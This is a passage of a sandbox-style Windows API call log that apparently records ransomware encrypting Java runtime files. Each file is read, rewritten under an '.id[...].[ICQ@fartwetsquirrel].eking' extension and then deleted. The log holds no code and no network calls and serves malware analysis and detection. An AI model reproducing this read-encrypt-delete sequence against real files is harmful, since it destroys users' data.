lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0237.249] ReadFile (in: hFile=0x350, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x374c, lpOverlapped=0x0) returned 1 [0237.256] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3750, lpOverlapped=0x0) returned 1 [0237.258] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0237.259] CloseHandle (hObject=0x350) returned 1 [0237.259] CloseHandle (hObject=0x358) returned 1 [0237.260] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0 [0237.261] SetEvent (hEvent=0x2b8) returned 1 [0237.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.262] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2860) returned 1 [0237.262] CloseHandle (hObject=0x358) returned 1 [0237.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0237.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0237.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.263] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.263] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.463] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xb2c, lpOverlapped=0x0) returned 1 [0237.466] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xb30, lpOverlapped=0x0) returned 1 [0237.467] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.467] CloseHandle (hObject=0x358) returned 1 [0237.467] CloseHandle (hObject=0x380) returned 1 [0237.468] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0 [0237.469] SetEvent (hEvent=0x2b8) returned 1 [0237.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.470] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3306) returned 1 [0237.470] CloseHandle (hObject=0x380) returned 1 [0237.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0237.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0237.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.471] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.471] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0237.474] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xcea, lpOverlapped=0x0) returned 1 [0237.476] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xcf0, lpOverlapped=0x0) returned 1 [0237.477] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.478] CloseHandle (hObject=0x380) returned 1 [0237.478] CloseHandle (hObject=0x358) returned 1 [0237.479] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0 [0237.480] SetEvent (hEvent=0x2b8) returned 1 [0237.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.482] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3600) returned 1 [0237.482] CloseHandle (hObject=0x358) returned 1 [0237.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0237.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0237.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.483] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.483] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.483] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xe10, lpOverlapped=0x0) returned 1 [0237.485] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe20, lpOverlapped=0x0) returned 1 [0237.487] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.487] CloseHandle (hObject=0x358) returned 1 [0237.487] CloseHandle (hObject=0x380) returned 1 [0237.491] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0 [0237.492] SetEvent (hEvent=0x2b8) returned 1 [0237.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.493] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3409) returned 1 [0237.493] CloseHandle (hObject=0x380) returned 1 [0237.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0237.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0237.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.494] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.494] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0237.496] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xd51, lpOverlapped=0x0) returned 1 [0237.498] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xd60, lpOverlapped=0x0) returned 1 [0237.499] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.499] CloseHandle (hObject=0x380) returned 1 [0237.499] CloseHandle (hObject=0x358) returned 1 [0237.503] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0 [0237.504] SetEvent (hEvent=0x2b8) returned 1 [0237.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.504] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3223) returned 1 [0237.504] CloseHandle (hObject=0x358) returned 1 [0237.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0237.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0237.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.505] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.505] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.506] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xc97, lpOverlapped=0x0) returned 1 [0237.752] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xca0, lpOverlapped=0x0) returned 1 [0237.754] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.754] CloseHandle (hObject=0x358) returned 1 [0237.754] CloseHandle (hObject=0x380) returned 1 [0237.757] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0 [0237.757] SetEvent (hEvent=0x2b8) returned 1 [0237.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.760] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6349) returned 1 [0237.760] CloseHandle (hObject=0x380) returned 1 [0237.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0237.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0237.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.761] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.761] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0237.764] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x18cd, lpOverlapped=0x0) returned 1 [0237.770] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x18d0, lpOverlapped=0x0) returned 1 [0237.772] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.772] CloseHandle (hObject=0x380) returned 1 [0237.772] CloseHandle (hObject=0x358) returned 1 [0237.774] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0 [0237.774] SetEvent (hEvent=0x2b8) returned 1 [0237.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.775] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5712) returned 1 [0237.775] CloseHandle (hObject=0x358) returned 1 [0237.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0237.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0237.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0237.776] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.776] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.779] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1650, lpOverlapped=0x0) returned 1 [0237.783] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1660, lpOverlapped=0x0) returned 1 